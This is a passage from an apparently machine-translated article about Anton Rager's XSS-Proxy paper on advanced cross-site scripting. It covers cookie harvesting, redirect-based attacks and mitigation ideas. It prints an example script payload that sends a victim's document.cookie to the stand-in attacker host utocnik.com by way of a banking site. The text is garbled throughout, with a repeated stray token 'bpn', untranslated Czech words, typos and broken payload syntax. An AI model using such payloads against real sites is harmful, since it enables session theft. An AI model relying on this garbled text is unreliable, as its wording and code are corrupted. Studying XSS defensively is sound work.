Description Advanced Cross-Site-Scripting with remote bpn control bpn in real time, from the author by XSS-proxy on behalf of Anton Rager. Cross Site Scripting (XSS) is a many developers and security professionals usually considered to be little serious security vulnerability. There have been a number of projects with reference to the potential risk of XSS, but the problem bpn is largely on the brink of interest to security experts and ramifications that's going on. Introduction
Author application XSS proxy wrote and published a description bpn in the hope that the light-hearted look at the thing changes. Quote: bpn I hope that this document and release the tool under the name of XSS-proxy (described below) to change the view on the whole situation. XSS-Proxy allows full control of XSS attacks by the remote user (the attacker). This paper describes XSS attacks and presents a new method / tool for creating interactive XSS attacks obojsměrných attacks and even more evil.
This is not a detailed guide (XSS howto), but an explanation of the methods XSS attacks. CGISecurity XSS FAQ (1) is a good source for the overall view of the main XSS vulnerabilities. At the end of the text are references (2,3,4,5) containing a great material for the follow-up XSS issues.
The project XSS-proxy arose as a platform for discussion and solution. There are a number of sources, methods and options for reporting errors or renovation XSS holes. Advanced XSS methods that will be introduced in the text bypass bpn many methods applied against XSS vulnerabilities. Recommended reading about the hidden form inputs, URL re-writing, POST methods often podsouvají solutions that are not 100% effective, especially if the attacker has access to the same content (and jscript / values) as his victim. Get rid of all special HTML characters or precise input filtering is useless in the event that there is an undiscovered way to input trick. The solution may be to partition sites into multiple bpn document domain, where it will be more difficult for an attacker to make / find a XSS attack / vulnerability in the only place where everything is together. CGI site search in one subdomain and sensitive area on the other (s) may be useful. Background XSS
As many of you know, common XSS attacks bpn typically come in two basic principles: 1 - Attacker uploads <script> tag in a public forum, blog or sites that are visited by the users and contain XSS vulnerabilities. The attacker then obtained through access (harvesting cookies) cookies from the website which reads a number of important information and thus often also přítpup user accounts. Attacks are sometimes useful but much deeper. Here's bpn what I think and say many people XSS exactly what it means. Example: Someone wants to send the following code to utocnik.com it to other users sprocesovali.
2 - The attacker uses a public web prone to XSS attack as mentioned above, or email messages based on XSS to redirect users to another server vulnerable to XSS. The second server is the current goal of the attacker and of course has its own page XSS vulnerability where an unsuspecting user <script> inject content into a document bpn that only sees the outside. This combined with redirection from another Web site allows spoofing cookies, spoofing form / submit content or specific action against bpn another user XSSnutého site. This method is very widespread but little admiínistrátorů understands that this is a way to attack. How does it work? Someone wants to send the code to make it more priklad.com users sprocesovali.
<script> document.location = 'http://ebanking.com/search?name <script> = document.write (' <img src=http://utocnik.com/" + document.cookie + "> ") </ script> '</ script>
In the past, a lot of people pointed out that more advanced manipulation of web content can be achieved with XSS script that opens an IFRAME (or more Windows-like element) and loads / submits for other documents on the same page. Confidence in the DOM allow Javascript documents and to interact with other windows bpn / IFRAME, until the windows point to the same document domain (protocol + domain_name + port).
Current methods of XSS attacks are typically limited to one transaction and as a result only the target page, cookie bpn harvesting or form (form submission leakage). Basics of XSS-Proxy / Attack
